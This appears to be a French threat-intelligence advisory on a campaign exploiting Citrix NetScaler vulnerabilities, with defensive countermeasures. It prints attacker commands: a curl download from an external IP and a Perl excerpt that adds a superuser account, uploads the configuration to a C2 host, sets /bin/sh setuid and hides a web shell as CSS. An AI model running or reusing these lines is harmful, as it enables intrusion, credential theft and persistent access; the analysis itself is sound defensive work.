Présentation

Le groupe de recherche LevelBlue a identifié une campagne ciblant les appliances Citrix NetScaler ADC et NetScaler Gateway. Les attaquants exploitent la vulnérabilité CVE-2026-88771, classée CVSS 9.5, qui permet une injection de commande en phase pré‑authentification. L’exploitation s’accompagne de CVE-2026-88772, signalée la semaine précédente, et a déclenché une alerte du NCSC‑NL, qui a recommandé la mise hors service des appareils affectés.

Mécanisme d’exploitation

Les événements d’authentification capturés contiennent des noms d’utilisateur contrôlés par l’attaquant, incluant les chaînes pitboss et NSPPE. Ces valeurs sont injectées dans le processus d’authentification, déclenchant l’exécution d’une commande système sans aucune validation d’entrée. Les premiers indicateurs montrent l’usage de curl ou wget pour récupérer des scripts depuis des serveurs externes, par exemple :

curl -k https://64.94.85.67:443/update_c08937.pl -o /tmp/update_c08937.pl

Les adresses IP observées (64.94.85.67, 31.56.197.72, 23.27.143.20) servent de points de livraison pour les charges utiles de deuxième étage.

Analyse des capacités post‑exploitation

Deux scripts principaux ont été étudiés :

# Perl – update_c08937.pl (extrait)
open CONF, '>>/flash/nsconfig/ns.conf' or die $!;
print CONF "auth user sec_monitor password  role superuser\n";
system "tar -czf /tmp/update_result_3567cs.tgz /flash/nsconfig";
system "curl -T /tmp/update_result_3567cs.tgz https://64.94.85.67:443/";
unlink '/tmp/update_result_3567cs.tgz';
chmod 6555, '/bin/sh';
system 'echo "AddHandler php5-script .php" >> /etc/httpd.conf';
system 'ln -s /var/netscaler/logon/LogonPoint/.local_journal /var/www/css/style.css';

Le script Perl crée un compte local sec_monitor avec le rôle superuser, archive le répertoire de configuration (/flash/nsconfig) et l’envoie vers l’infrastructure de commande‑et‑contrôle (C2). Il modifie les permissions de /bin/sh en 6555 (set‑uid + set‑gid) afin de garantir l’escalade de privilèges pour toute session shell ultérieure. Enfin, il active l’interpréteur PHP dans /etc/httpd.conf et crée un lien symbolique qui fait apparaître le web‑shell comme une ressource CSS légitime, réduisant ainsi la visibilité pour les analystes réseau.

Le script Python main.py ouvre une connexion reverse vers 45.141.21.130 sur le port 443 et tue le processus /var/python/bin/customsnmpd, neutralisant un mécanisme de surveillance interne.

Contre‑mesures et recommandations

Les organisations doivent immédiatement désactiver ou isoler les appliances NetScaler exposées. La mise à jour vers les correctifs publiés pour CVE‑2026‑88771 et CVE‑2026‑88772 est indispensable. En parallèle, il est recommandé de :

1. Auditer les comptes locaux pour détecter toute création non autorisée (ex. sec_monitor).

2. Vérifier les permissions de /bin/sh et restaurer le mode 755 si nécessaire.

3. Analyser les fichiers de configuration HTTP (/etc/httpd.conf) à la recherche d’ajouts de handlers PHP.

4. Surveiller les requêtes HTTP vers des chemins se terminant par .css qui pointent vers des scripts exécutables.

Enfin, la mise en place de listes de contrôle d’accès réseau (ACL) limitant les flux sortants vers les IP C2 observées, ainsi que le déploiement de solutions de détection d’anomalies basées sur le comportement des appliances, renforcera la posture de défense contre ce type d’attaque en chaîne.